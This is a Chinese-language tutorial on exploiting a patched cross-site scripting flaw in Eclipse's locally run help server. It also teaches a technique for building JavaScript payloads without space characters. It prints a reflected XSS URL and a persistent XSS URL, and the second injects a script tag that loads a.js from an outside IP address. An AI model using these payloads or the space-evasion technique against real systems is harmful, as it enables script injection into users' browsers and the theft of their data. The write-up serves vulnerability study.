Eclipse是一个开放源代码的、基于 Java 的可扩展开发平台,目前该平台在世界范围内得到了广泛的应用。本文将介绍对于Eclipse本地一个跨站脚本漏洞的利用方法。更重要的是,我们将学习一种处理有效荷载中的空格符的高级技巧。
一、Eclipse简介
Eclipse 是一个开放源代码的、基于 Java 的可扩展开发平台。就其本身而言,它只是一个框架和一组服务,用于通过插件组件构建开发环境。幸运的是,Eclipse 附带了一个标准的插件集,包括 Java 开发工具。虽然大多数用户很乐于将 Eclipse 当作 Java IDE 来使用,但 Eclipse 的目标不仅限于此。Eclipse 还包括插件开发环境(Plug-in Development Environment,PDE),这个组件主要针对希望扩展 Eclipse 的软件开发人员,因为它允许他们构建与 Eclipse 环境无缝集成的工具。由于 Eclipse 中的每样东西都是插件,对于给 Eclipse 提供插件,以及给用户提供一致和统一的集成开发环境而言,所有工具开发人员都具有同等的发挥场所。
这种平等和一致性并不仅限于 Java 开发工具。尽管 Eclipse 是使用 Java 语言开发的,但它的用途并不限于 Java 语言;例如,支持诸如 C/C++、COBOL 和 Eiffel 等编程语言的插件已经可用,或预计会推出。Eclipse 框架还可用来作为与软件开发无关的其他应用程序类型的基础,比如内容管理系统。
基于 Eclipse 的应用程序的突出例子是 的 WebSphere Studio Workbench,它构成了 IBM Java 开发工具系列的基础。例如,WebSphere Studio Application 添加了对 JSP、servlet、EJB、XML、Web 服务和访问的支持。
二、Eclipse的跨站脚本利用
由于Eclipse得到了广泛的应用,所以它的漏洞会对许多用户造成影响,不过目前本文所讨论的安全漏洞已经有补丁可用,所以下面就尽情讨论吧。之前,Eclipse的帮助系统曾经发现过XSS安全漏洞,很明显,所有基于Eclipse的产品同样也有此漏洞,下面介绍新近发现的一个漏洞。
该漏洞的本质就是本地运行的Web存在XSS问题。 如果用户正在运行IE的话,他们就有可能受到该问题的困扰。
当你单击“Help”菜单的“Help Contents”菜单项的时候,系统将在本地计算机上启动一个Web服务器。经进一步调查发现,这个服务器是Apache Coyote 1.1。乍看起来该Web服务器是从一个伪随机端口启动的,但是实际上有些端口号用的更频繁一些。当然,用于端口号的随机数生成算法不在本文的讨论范围之内,如果您感兴趣的话,可以自己研究一下。
好了,我们的目标只有一个,那就是拿下Eclipse。下面是Eclipse的帮助系统存在反射式XSS漏洞的地址:
http://localhost:port/help/advanced/searchView.jsp?searchWord=a");}alert('xss');>
把上述地址输入的地址栏,将会看到下面那亲切的画面:
图1 弹出的警示框
下面是存在持久性XSS漏洞的地址:
http://localhost:port/help/advanced/workingSetManager.jsp?operation=add&workingSet=
'%3E%3Cscript%20src%3D'http%3A%2F%2F1.2.3.4%2Fa.js'%3E%%2Fscript%3E&hrefs=%2Fcom..flexbuilder.help.api%2Ftoc.xml&oldName=
当我们在Eclipse上试验反射式XSS攻击时,必须面对这样一个问题,即Eclipse没有把%20和空格符实现自动转换,所以我们要设法避开这个问题,不过这并不太难。那么,怎样写一个没有空格符的JavaScript有效载荷呢?实际上,这很简单。下图是用于有效载荷的示例代码:
图2 有效荷载示例代码
首先,关键字“var”不是必需的。我们在JavaScript 中可以进行隐式变量声明,所以完全可以将这些关键字去掉,这样变量名和关键字之间也就无所谓空格问题了。但是其他内容呢?别急,接下来我要做的是,去除所有不需要的空格符,并变成下面的样子:
图3 精简空格后的有效荷载示例代码
呵呵,上面的代码看起来紧凑多了,但是仍然存在空格符。所以下面要做的是,把所有东西弄成一个字符串,并把空格符替换成“..”,注意不带双引号。
图4 把有效荷载变成单个字符串
注意,由于我们使用“..”字符替代了空格符,所以无法使用eval函数将这个字符串当作一个JavaScript表达式一样去执行它,相反,我们需要使用replace函数。
图5 把有效荷载变成单个字符串
现在,我们得到了如下所示的XSS攻击字符串:
图6 把有效荷载变成单个字符串
好了,把上述代码输入IE浏览器的地址栏,将看到如下所示的画面:
图7 攻击成功
三、小结
Eclipse是一个开放源代码的、基于 Java 的可扩展开发平台,目前该平台在世界范围内得到了广泛的应用。本文介绍了对于Eclipse本地Web服务器一个跨站脚本漏洞的利用方法。与此同时,我们还介绍了一种处理有效荷载中的空格符号的高级技巧。